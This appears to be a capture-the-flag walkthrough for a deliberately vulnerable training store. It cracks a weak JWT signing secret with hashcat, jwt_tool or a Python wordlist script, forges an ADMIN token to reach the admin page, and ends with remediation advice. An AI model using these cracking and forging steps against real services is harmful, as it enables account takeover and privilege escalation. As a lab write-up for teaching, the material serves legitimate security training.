Skip to content
OopsSec Store - Walkthroughs
Go back

JWT Weak Secret: Cracking the Key to Forge Admin Access in OopsSec Store

Edit page

This writeup demonstrates how a JWT implementation using a weak signing secret allows attackers to brute-force the key, forge authentication tokens, and escalate privileges from a regular customer account to administrator access.

Table of contents

Open Table of contents

Environment setup

Initialize the OopsSec Store application in a new directory:

npx create-oss-store oss-store
cd oss-store
npm start

The installer retrieves dependencies, initializes a local SQLite database, seeds test user accounts, and starts the development server. Once the server is running, navigate to http://localhost:3000 and authenticate using the test credentials displayed on the login page. For this exercise, log in as Alice, a standard customer account.

Reconnaissance

The application uses JSON Web Tokens for session management. After successful authentication, the backend issues a token that is stored in an HTTP-only cookie and automatically transmitted with subsequent requests.

The application footer contains a visible link to /admin. Attempting to access this endpoint while authenticated as a customer account results in an access denied response, indicating role-based access control is enforced.

Access Denied - /admin

Token extraction and analysis

Open the browser’s developer tools and navigate to Application > Cookies. The authentication token is stored in an HTTP-only cookie named authToken.

Decoding this token using jwt.io reveals the following structure:

Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload:

{
  "id": "cmk7hzehr0001togvwvjt810d",
  "email": "alice@example.com",
  "role": "CUSTOMER",
  "hint": "The secret is not so secret",
  "exp": 1768763557
}

The alg: "HS256" header indicates that the token is signed using HMAC-SHA256. This implementation requires knowledge of the signing secret to forge valid tokens.

Note the hint field in the payload: “The secret is not so secret”. This suggests the signing key is weak and potentially guessable or crackable.

Identifying the vulnerability

The presence of a signature does not guarantee security. If the signing secret is weak or guessable, an attacker can recover it through brute-force or dictionary attacks.

Common weak secrets include:

Cracking the JWT secret

Save the JWT token to a file:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImNta3I4eW4zNDAwMDF0b3A2NjJ6OXkzb20iLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwicm9sZSI6IkNVU1RPTUVSIiwiaGludCI6IlRoZSBzZWNyZXQgaXMgbm90IHNvIHNlY3JldCIsImV4cCI6MTc2OTgwMDYzNH0.xYuUP20NgY6Pz9cktBEvS-_dczsDFKQQnhyHCvl7ckc" > jwt.txt

Use hashcat to crack the secret with a wordlist:

hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

Hashcat

Alternatively, use jwt_tool:

python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

Or create a simple script to test common secrets:

import jwt
import sys

token = sys.argv[1]
wordlist = ["secret", "password", "jwt", "key", "oopssec", "admin", "test"]

for secret in wordlist:
    try:
        jwt.decode(token, secret, algorithms=["HS256"])
        print(f"[+] Secret found: {secret}")
        break
    except jwt.InvalidSignatureError:
        continue

The secret is successfully recovered: secret

Exploitation

With the recovered secret, forge a new token with elevated privileges:

import jwt

payload = {
    "id": "cmk7hzehr0001togvwvjt810d",
    "email": "alice@example.com",
    "role": "ADMIN",
    "hint": "The secret is not so secret",
    "exp": 1768763557
}

forged_token = jwt.encode(payload, "secret", algorithm="HS256")
print(forged_token)

Replace the authToken cookie value in Application > Cookies with the forged token and refresh the page. Navigate to /admin to confirm successful privilege escalation. Note: although the cookie is httpOnly (not accessible via JavaScript), you can still edit its value directly in DevTools.

Admin page

Flag

Upon accessing the admin dashboard with the forged token, the flag is displayed:

OSS{w34k_jwt_s3cr3t_k3y}

Remediation

Proper JWT implementation requires several security controls.

Use strong, randomly generated secrets:

openssl rand -base64 32

Store secrets securely in environment variables:

import jwt from "jsonwebtoken";

jwt.sign(payload, process.env.JWT_SECRET, {
  algorithm: "HS256",
  expiresIn: "7d",
});

Verify token signatures on every request:

jwt.verify(token, process.env.JWT_SECRET);

Retrieve authorization data from the database:

const user = await db.users.findById(decoded.id);

if (user.role !== "ADMIN") {
  return res.status(403).send("Forbidden");
}

Consider asymmetric algorithms (RS256, ES256) for scenarios where token verification happens on different services than token issuance, eliminating the need to share secrets.

The token should authenticate identity only. Authorization decisions must be derived from trusted server-side data sources, not from client-supplied claims embedded in the token.


Edit page
Share this post on:

Previous Post
Stored XSS in Product Reviews
Next Post
Chaining SQL Injection and Weak MD5 Hashing to Compromise the Admin Account